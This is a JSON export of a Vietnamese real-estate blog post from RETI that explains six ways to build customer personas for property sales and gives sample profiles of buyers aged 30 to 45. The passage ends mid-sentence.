{"id":36897,"date":"2023-03-28T10:51:14","date_gmt":"2023-03-28T03:51:14","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=36897"},"modified":"2025-10-22T04:24:17","modified_gmt":"2025-10-21T21:24:17","slug":"6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/","title":{"rendered":"6 c\u00e1ch gi\u00fap x\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n"},"content":{"rendered":"<p><em>X\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 y\u1ebfu t\u1ed1 then ch\u1ed1t, \u1ea3nh h\u01b0\u1edfng r\u1ea5t l\u1edbn \u0111\u1ebfn vi\u1ec7c ch\u1ed1t deal li\u1ec7u c\u00f3 th\u00e0nh c\u00f4ng hay kh\u00f4ng. C\u00f9ng <strong>RETI<\/strong> t\u00ecm hi\u1ec3u chi ti\u1ebft h\u01a1n trong b\u00e0i vi\u1ebft sau \u0111\u00e2y nh\u00e9!<\/em><\/p>\n<p>X\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng \u0111\u1ec3 bi\u1ebft h\u1ecd l\u00e0 ai, h\u1ecd c\u1ea7n g\u00ec \u1edf b\u1ea5t \u0111\u1ed9ng s\u1ea3n, h\u1ecd lo s\u1ee3 \u0111i\u1ec1u g\u00ec,\u2026t\u1eeb \u0111\u00f3 \u0111\u01b0a ra th\u00f4ng \u0111i\u1ec7p truy\u1ec1n th\u00f4ng, n\u1ed9i dung n\u00f3i chuy\u1ec7n, t\u01b0 v\u1ea5n v\u1edbi kh\u00e1ch h\u00e0ng,\u2026\u0111\u1ec3 t\u1eeb \u0111\u00f3 t\u0103ng l\u00f2ng tin v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 ch\u1ed1t sale nhanh ch\u00f3ng. B\u01b0\u1edbc n\u00e0y tuy r\u1ea5t \u00a0quan tr\u1ecdng nh\u01b0ng r\u1ea5t nhi\u1ec1u sale \u0111\u00e3 b\u1ecf qua.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-36898 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1.jpg\" alt=\"\" width=\"1965\" height=\"1324\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1.jpg 1965w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-300x202.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-1024x690.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-768x517.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-1536x1035.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-150x101.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-696x469.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-1068x720.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-1-1920x1294.jpg 1920w\" data-sizes=\"(max-width: 1965px) 100vw, 1965px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1965px; --smush-placeholder-aspect-ratio: 1965\/1324;\" \/><\/a><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69df142c6049a\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69df142c6049a\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Tai_sao_phai_xay_dung_chan_dung_khach_hang_trong_bat_dong_san\" >T\u1ea1i sao ph\u1ea3i x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng trong b\u1ea5t \u0111\u1ed9ng s\u1ea3n?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Cach_xac_dinh_chan_dung_khach_hang_trong_Bat_dong_san\" >C\u00e1ch x\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng trong B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_tren_nhan_khau_hoc\" >D\u1ef1a tr\u00ean nh\u00e2n kh\u1ea9u h\u1ecdc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_theo_thoi_diem_khach_mua_hang\" >D\u1ef1a theo th\u1eddi \u0111i\u1ec3m kh\u00e1ch mua h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_theo_thi_truong_muc_tieu\" >D\u1ef1a theo th\u1ecb tr\u01b0\u1eddng m\u1ee5c ti\u00eau<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_theo_noi_dau_cua_khach_hang\" >D\u1ef1a theo n\u1ed7i \u0111au c\u1ee7a kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_theo_so_thich_va_hanh_vi\" >D\u1ef1a theo s\u1edf th\u00edch v\u00e0 h\u00e0nh vi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Dua_theo_tep_khach_hang_hien_co\" >D\u1ef1a theo t\u1ec7p kh\u00e1ch h\u00e0ng hi\u1ec7n c\u00f3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/6-cach-xac-dinh-chan-dung-khach-hang-bat-dong-san\/#Tham_khao_them_mot_phuong_an_khac\" >Tham kh\u1ea3o th\u00eam m\u1ed9t ph\u01b0\u01a1ng \u00e1n kh\u00e1c<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Tai_sao_phai_xay_dung_chan_dung_khach_hang_trong_bat_dong_san\"><\/span><strong>T\u1ea1i sao ph\u1ea3i x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng trong b\u1ea5t \u0111\u1ed9ng s\u1ea3n?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Vi\u1ec7c x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng gi\u00fap b\u1ea1n:<\/p>\n<p>&#8211; T\u1eadp trung \u0111\u00fang \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng<\/p>\n<p>&#8211; Gi\u1ea3m chi ph\u00ed t\u1ea1o ra kh\u00e1ch h\u00e0ng m\u1edbi<\/p>\n<p>&#8211; C\u00f3 c\u00e1ch th\u1ee9c ti\u1ec7p c\u1eadn, trao \u0111\u1ed5i kh\u00e1ch h\u00e0ng ph\u00f9 h\u1ee3p \u0111\u1ec3 t\u1eeb \u0111\u00f3 t\u0103ng c\u01a1 h\u1ed9i ch\u1ed1t sale.<\/p>\n<p>VD: Kh\u00e1ch c\u00f3 nhu c\u1ea7u mua B\u0110S \u0111\u1ec3 \u1edf, b\u1ea1n kh\u00f4ng n\u00ean ch\u1ec9 ch\u0103m ch\u00fa c\u00e1c y\u1ebfu t\u1ed1 t\u0103ng gi\u00e1,\u2026Do d\u00f3 b\u1ea1n c\u1ea7n ph\u1ea3i bi\u1ebft h\u1ecd l\u00e0 ai? h\u1ecd c\u1ea7n g\u00ec? v\u1ea5n \u0111\u1ec1 c\u1ee7a h\u1ecd \u0111\u1ebfn t\u1eeb \u0111\u00e2u \u0111\u1ec3 \u0111\u01b0a ra h\u01b0\u1edbng gi\u1ea3i quy\u1ebft cho kh\u00e1ch h\u00e0ng.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cach_xac_dinh_chan_dung_khach_hang_trong_Bat_dong_san\"><\/span><strong>C\u00e1ch x\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng trong B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ch\u00e2n dung kh\u00e1ch h\u00e0ng \u0111\u01b0\u1ee3c hi\u1ec3u l\u00e0 h\u1ed3 s\u01a1 chi ti\u1ebft v\u00e0 to\u00e0n di\u1ec7n, m\u00f4 t\u1ea3 c\u00e1c \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau m\u00e0 doanh nghi\u1ec7p h\u01b0\u1edbng t\u1edbi. Ch\u00e2n dung kh\u00e1ch h\u00e0ng bao g\u1ed3m c\u00e1c y\u1ebfu t\u1ed1 v\u00e0 \u0111\u1eb7c \u0111i\u1ec3m nh\u01b0 nh\u00e2n kh\u1ea9u h\u1ecdc (gi\u1edbi t\u00ednh, \u0111\u1ed9 tu\u1ed5i, v\u1ecb tr\u00ed \u0111\u1ecba l\u00fd, thu nh\u1eadp,..), c\u00e1i nh\u00ecn s\u00e2u s\u1eafc (l\u00fd do m\u00e0 kh\u00e1ch h\u00e0ng l\u1ef1a ch\u1ecdn s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n) hay nh\u1eefng h\u00e0nh vi (s\u1edf th\u00edch, \u0111i\u1ec1u h\u1ecd gh\u00e9t) v\u1ec1 c\u00e1ch th\u1ee9c ch\u1ecdn s\u1ea3n ph\u1ea9m.<\/p>\n<p>D\u01b0\u1edbi \u0111\u00e2y l\u00e0 6 c\u00e1ch gi\u00fap x\u00e1c \u0111\u1ecbnh ch\u00e2n dung c\u1ee7a kh\u00e1ch h\u00e0ng m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 t\u00ecm hi\u1ec3u v\u00e0 \u00e1p d\u1ee5ng trong ho\u1ea1t \u0111\u1ed9ng kinh doanh c\u1ee7a m\u00ecnh.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2.png\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-36899 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2.png\" alt=\"\" width=\"1024\" height=\"662\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2.png 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2-300x194.png 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2-768x497.png 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2-150x97.png 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2-696x450.png 696w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/662;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_tren_nhan_khau_hoc\"><\/span><strong><em>D\u1ef1a tr\u00ean nh\u00e2n kh\u1ea9u h\u1ecdc<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0110\u1ec3 x\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng, m\u1ecdi ng\u01b0\u1eddi c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng nh\u00e2n kh\u1ea9u h\u1ecdc. Nh\u1eefng s\u1ed1 li\u1ec7u v\u1ec1 nh\u00e2n kh\u1ea9u h\u1ecdc m\u00e0 doanh nghi\u1ec7p ph\u1ea3i thu th\u1eadp v\u00e0 x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c bao g\u1ed3m:<\/p>\n<p>&#8211; \u0110\u1ed9 tu\u1ed5i<\/p>\n<p>&#8211; Gi\u1edbi t\u00ednh<\/p>\n<p>&#8211; Tr\u00ecnh \u0111\u1ed9 h\u1ecdc v\u1ea5n<\/p>\n<p>&#8211; T\u00ecnh tr\u1ea1ng h\u00f4n nh\u00e2n<\/p>\n<p>&#8211; M\u1ee9c thu nh\u1eadp<\/p>\n<p>&#8211; Khu v\u1ef1c sinh s\u1ed1ng<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_theo_thoi_diem_khach_mua_hang\"><\/span><strong><em>D\u1ef1a theo th\u1eddi \u0111i\u1ec3m kh\u00e1ch mua h\u00e0ng<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Th\u1eddi \u0111i\u1ec3m kh\u00e1ch mua h\u00e0ng theo nh\u1eefng nhu c\u1ea7u mang t\u00ednh th\u1eddi v\u1ee5 s\u1ebd gi\u00fap doanh nghi\u1ec7p c\u00f3 th\u1ec3 d\u1ec5 d\u00e0ng x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c \u0111\u1ed9 tu\u1ed5i, nhu c\u1ea7u chi ti\u00eau v\u00e0 y\u00eau c\u1ea7u v\u1ec1 gi\u00e1 tr\u1ecb. T\u1eeb \u0111\u00f3 d\u1ec5 d\u00e0ng h\u01a1n trong vi\u1ec7c x\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_theo_thi_truong_muc_tieu\"><\/span><strong><em>D\u1ef1a theo th\u1ecb tr\u01b0\u1eddng m\u1ee5c ti\u00eau<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0110\u1ec3 c\u00f3 th\u1ec3 d\u1ef1a theo th\u1ecb tr\u01b0\u1eddng m\u1ee5c ti\u00eau \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh ch\u00e2n dung c\u1ee7a kh\u00e1ch h\u00e0ng th\u00ec b\u1ea1n c\u1ea7n t\u00ecm hi\u1ec3u v\u1ec1 quy m\u00f4, ph\u1ea1m vi, s\u1ed1 l\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng \u0111ang sinh s\u1ed1ng t\u1ea1i m\u1ed9t v\u00f9ng.<\/p>\n<p>B\u00ean c\u1ea1nh \u0111\u00f3, t\u00ecm hi\u1ec3u v\u1ec1 c\u00e1c \u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh v\u00e0 c\u00e1c s\u1ea3n ph\u1ea9m thay th\u1ebf \u0111\u1ec3 bi\u1ebft \u0111\u01b0\u1ee3c s\u1ee9c c\u1ea1nh tranh c\u1ee7a b\u1ea1n hay ph\u00e2n kh\u00fac th\u1ecb tr\u01b0\u1eddng \u0111\u1ec3 nh\u1eadn di\u1ec7n t\u1eebng nh\u00f3m \u0111\u1ed1i t\u01b0\u1ee3ng v\u00e0 c\u00f3 kh\u1ea3 n\u0103ng t\u0103ng l\u1ee3i nhu\u1eadn hay kh\u00f4ng.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_theo_noi_dau_cua_khach_hang\"><\/span><strong><em>D\u1ef1a theo n\u1ed7i \u0111au c\u1ee7a kh\u00e1ch h\u00e0ng<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>C\u00e1ch \u0111\u1ec3 b\u1ea1n c\u00f3 th\u1ec3 x\u00e2y d\u1ef1ng ch\u00e2n dung c\u1ee7a kh\u00e1ch h\u00e0ng ch\u00ednh l\u00e0 d\u1ef1a tr\u00ean n\u1ed7i \u0111au c\u1ee7a h\u1ecd. B\u1ea1n n\u00ean t\u00ecm ra nh\u1eefng n\u1ed7i \u0111au, nh\u1eefng \u0111\u1ed1i t\u01b0\u1ee3ng ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng n\u1ed7i \u0111au \u0111\u00f3 \u0111\u1ec3 \u0111\u01b0a ra gi\u1ea3i ph\u00e1p cho h\u1ecd.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_theo_so_thich_va_hanh_vi\"><\/span><strong><em>D\u1ef1a theo s\u1edf th\u00edch v\u00e0 h\u00e0nh vi<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>D\u1ef1a theo c\u00e1c s\u1edf th\u00edch v\u00e0 h\u00e0nh vi c\u1ee7a kh\u00e1ch h\u00e0ng th\u00ec ch\u00fang ta s\u1ebd v\u1ebd \u0111\u01b0\u1ee3c ch\u00e2n dung kh\u00e1ch h\u00e0ng b\u1eb1ng c\u00e1ch t\u00ecm ki\u1ebfm nh\u1eefng th\u00f4ng tin v\u1ec1 n\u01a1i m\u00e0 kh\u00e1ch h\u00e0ng t\u1eadp trung \u0111\u00f4ng nh\u1ea5t, nh\u1eefng n\u1ed9i dung m\u00e0 h\u1ecd th\u01b0\u1eddng xuy\u00ean ti\u1ebfp nh\u1eadn, l\u1ed1i s\u1ed1ng v\u00e0 quan \u0111i\u1ec3m c\u1ee7a kh\u00e1ch h\u00e0ng,\u2026 \u0110\u00e2y l\u00e0 m\u1ed9t ph\u1ea7n c\u1ee7a nh\u00e2n kh\u1ea9u h\u1ecdc nh\u01b0ng n\u00f3 l\u00e0 c\u00e1ch gi\u00fap m\u1edf r\u1ed9ng ph\u1ea1m vi ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dua_theo_tep_khach_hang_hien_co\"><\/span><strong><em>D\u1ef1a theo t\u1ec7p kh\u00e1ch h\u00e0ng hi\u1ec7n c\u00f3<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>B\u1ea5t k\u1ef3 l\u00fac n\u00e0o doanh nghi\u1ec7p c\u0169ng c\u1ea7n kh\u00e1ch h\u00e0ng v\u00e0 nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng th\u00ec lu\u00f4n thay \u0111\u1ed5i. V\u00ec v\u1eady, khi b\u1ea1n t\u1ea1o m\u1ed9t chi\u1ebfn d\u1ecbch qu\u1ea3ng c\u00e1o m\u1edbi \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh ch\u00e2n dung c\u1ee7a kh\u00e1ch h\u00e0ng d\u1ef1a tr\u00ean t\u1ec7p hi\u1ec7n c\u00f3, m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n n\u00ean c\u1eadp nh\u1eadt xu h\u01b0\u1edbng, thay \u0111\u1ed5i target kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh v\u00e0 \u0111\u01b0a ra nh\u1eefng quy\u1ebft \u0111\u1ecbnh li\u00ean k\u1ebft h\u1ee3p l\u00fd.<\/p>\n<p>Ngo\u00e0i ra b\u1ea1n c\u0169ng c\u00f3 th\u1ec3 chia th\u00e0nh c\u00e1c nh\u00f3m kh\u00e1c nhau nh\u01b0: \u0111\u1ea7u t\u01b0 l\u00e2u d\u00e0i, \u0111\u1ea7u t\u01b0 l\u01b0\u1edbt s\u00f3ng, kinh doanh d\u00f2ng ti\u1ec1n,\u2026m\u1ed7i \u0111\u1ed1i t\u01b0\u1ee3ng \u0111\u00f3 s\u1ebd c\u00f3 m\u1ed1i quan t\u00e2m kh\u00e1c nhau. Vi\u1ec7c c\u1ee7a b\u1ea1n l\u00e0 h\u00e3y c\u1ea7m gi\u1ea5y b\u00fat v\u00e0 g\u1ea1ch ra c\u00e1c \u00fd \u0111\u1ec3 ph\u00e1c th\u1ea3o ch\u00e2n dung chi ti\u1ebft nh\u1ea5t.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3.jpg\" rel=\"lightbox-2\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-36900 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3.jpg\" alt=\"\" width=\"800\" height=\"444\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3.jpg 800w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3-300x167.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3-768x426.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3-150x83.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-3-696x386.jpg 696w\" data-sizes=\"(max-width: 800px) 100vw, 800px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 800px; --smush-placeholder-aspect-ratio: 800\/444;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Tham_khao_them_mot_phuong_an_khac\"><\/span><strong><em>Tham kh\u1ea3o th\u00eam m\u1ed9t ph\u01b0\u01a1ng \u00e1n kh\u00e1c<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Nh\u1eefng kh\u00e1ch h\u00e0ng mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n, kh\u00e1ch h\u00e0ng tr\u1ebb kh\u00f4ng qu\u00e1 nhi\u1ec1u, \u0111\u1ed9 tu\u1ed5i kho\u1ea3ng 30-45 tu\u1ed5i l\u00e0 l\u1ee9a tu\u1ed5i \u0111ang c\u00f3 ti\u1ec1n v\u00e0 kh\u1ea3 n\u0103ng mua nh\u00e0 l\u00e0 r\u1ea5t l\u1edbn.<\/p>\n<p>Th\u00f4ng qua c\u00e1c di\u1ec5n \u0111\u00e0n nh\u01b0: otofun, webtretho, facebook v\u00e0 c\u00e1c m\u1ea1ng x\u00e3 h\u1ed9i kh\u00e1c c\u00f3 th\u1ec3 th\u1ea5y:<\/p>\n<p>\u2013 80% nh\u1eefng g\u00ec ph\u1ee5 n\u1eef \u0111\u1ed9 tu\u1ed5i 30-45 chia s\u1ebb l\u00e0 nh\u1eefng m\u1ed1i quan t\u00e2m v\u1ec1 con c\u00e1i v\u00e0 h\u1ea1nh ph\u00fac gia \u0111\u00ecnh<\/p>\n<p>\u2013 80% nh\u1eefng g\u00ec \u0111\u00e0n \u00f4ng \u0111\u1ed9 tu\u1ed5i 30-45 chia s\u1ebb l\u00e0 nh\u1eefng m\u1ed1i quan t\u00e2m v\u1ec1 oto, nh\u1eefng s\u1edf th\u00edch, trao \u0111\u1ed5i giao l\u01b0u t\u00ecm hi\u1ec3u th\u00f4ng tin update v\u00e0 gi\u00e1o d\u1ee5c con c\u00e1i. Th\u01b0\u1eddng \u0111\u00e0n \u00f4ng kh\u00f4ng chia s\u1ebb chuy\u1ec7n c\u00e1 nh\u00e2n nhi\u1ec1u tr\u00ean m\u1ea1ng tr\u1eeb v\u1ea5n \u0111\u1ec1 con c\u00e1i.<\/p>\n<p><strong>M\u1ed9t s\u1ed1 v\u1ea5n \u0111\u1ec1 c\u1ea7n quan t\u00e2m khi n\u00f3i chuy\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng:<\/strong><\/p>\n<ol>\n<li><strong> Nam gi\u1edbi tu\u1ed5i t\u1eeb 30-45<\/strong><\/li>\n<\/ol>\n<p><strong>\u2013 Customer understanding<\/strong><\/p>\n<p>+ \u0110\u00e3 c\u00f3 s\u1ef1 th\u00e0nh c\u00f4ng trong c\u00f4ng vi\u1ec7c<\/p>\n<p>+ B\u1eadn r\u1ed9n, stress<\/p>\n<p>+ B\u1eaft \u0111\u1ea7u quan t\u00e2m \u0111\u1ebfn s\u1ee9c kh\u1ecfe nhi\u1ec1u h\u01a1n, ch\u01a1i tennis, \u0111\u00e1 b\u00f3ng, th\u1ec3 thao, s\u1edf th\u00edch c\u0169ng th\u00edch \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n b\u1ea3n th\u00e2n x\u1ee9ng \u0111\u00e1ng v\u1edbi v\u1ecb tr\u00ed v\u00e0 c\u1ed9ng \u0111\u1ed3ng m\u00ecnh mu\u1ed1n h\u01b0\u1edbng \u0111\u1ebfn.<\/p>\n<p>+ Th\u00edch cu\u1ed9c s\u1ed1ng hi\u1ec7n \u0111\u1ea1i<\/p>\n<p>+ \u0110\u1ea7u t\u01b0 cho con c\u00e1i \u0111ang trong qu\u00e1 tr\u00ecnh tr\u01b0\u1edfng th\u00e0nh<\/p>\n<p><strong>\u2013 Nh\u1eefng mong mu\u1ed1n kh\u1eafc kho\u1ea3i ch\u01b0a \u0111\u01b0\u1ee3c ai \u0111\u00e1p \u1ee9ng (Insight)<\/strong><\/p>\n<p>+ Gi\u00e0u h\u01a1n<\/p>\n<p>+ Con c\u00e1i c\u00f3 m\u1ed9t cu\u1ed9c s\u1ed1ng t\u1ed1t h\u01a1n<\/p>\n<p>+ Kh\u1eb3ng \u0111\u1ecbnh b\u1ea3n th\u00e2n<\/p>\n<ol start=\"2\">\n<li><strong> N\u1eef tu\u1ed5i t\u1eeb 30-45<\/strong><\/li>\n<\/ol>\n<p><strong>\u2013 N\u1ed9i tr\u1ee3\/ nh\u00e0 n\u01b0\u1edbc:<\/strong><\/p>\n<p>+ Cu\u1ed9c s\u1ed1ng kh\u00e1 b\u00ecnh l\u1eb7ng v\u00e0 nh\u00e0m ch\u00e1n<\/p>\n<p>+ M\u1ee5c ti\u00eau ch\u0103m lo gia \u0111\u00ecnh con c\u00e1i l\u00e0 tr\u00ean h\u1ebft<\/p>\n<p>+ Lo l\u1eafng v\u00ec ch\u1ed3ng th\u00e0nh \u0111\u1ea1t, ngo\u1ea1i 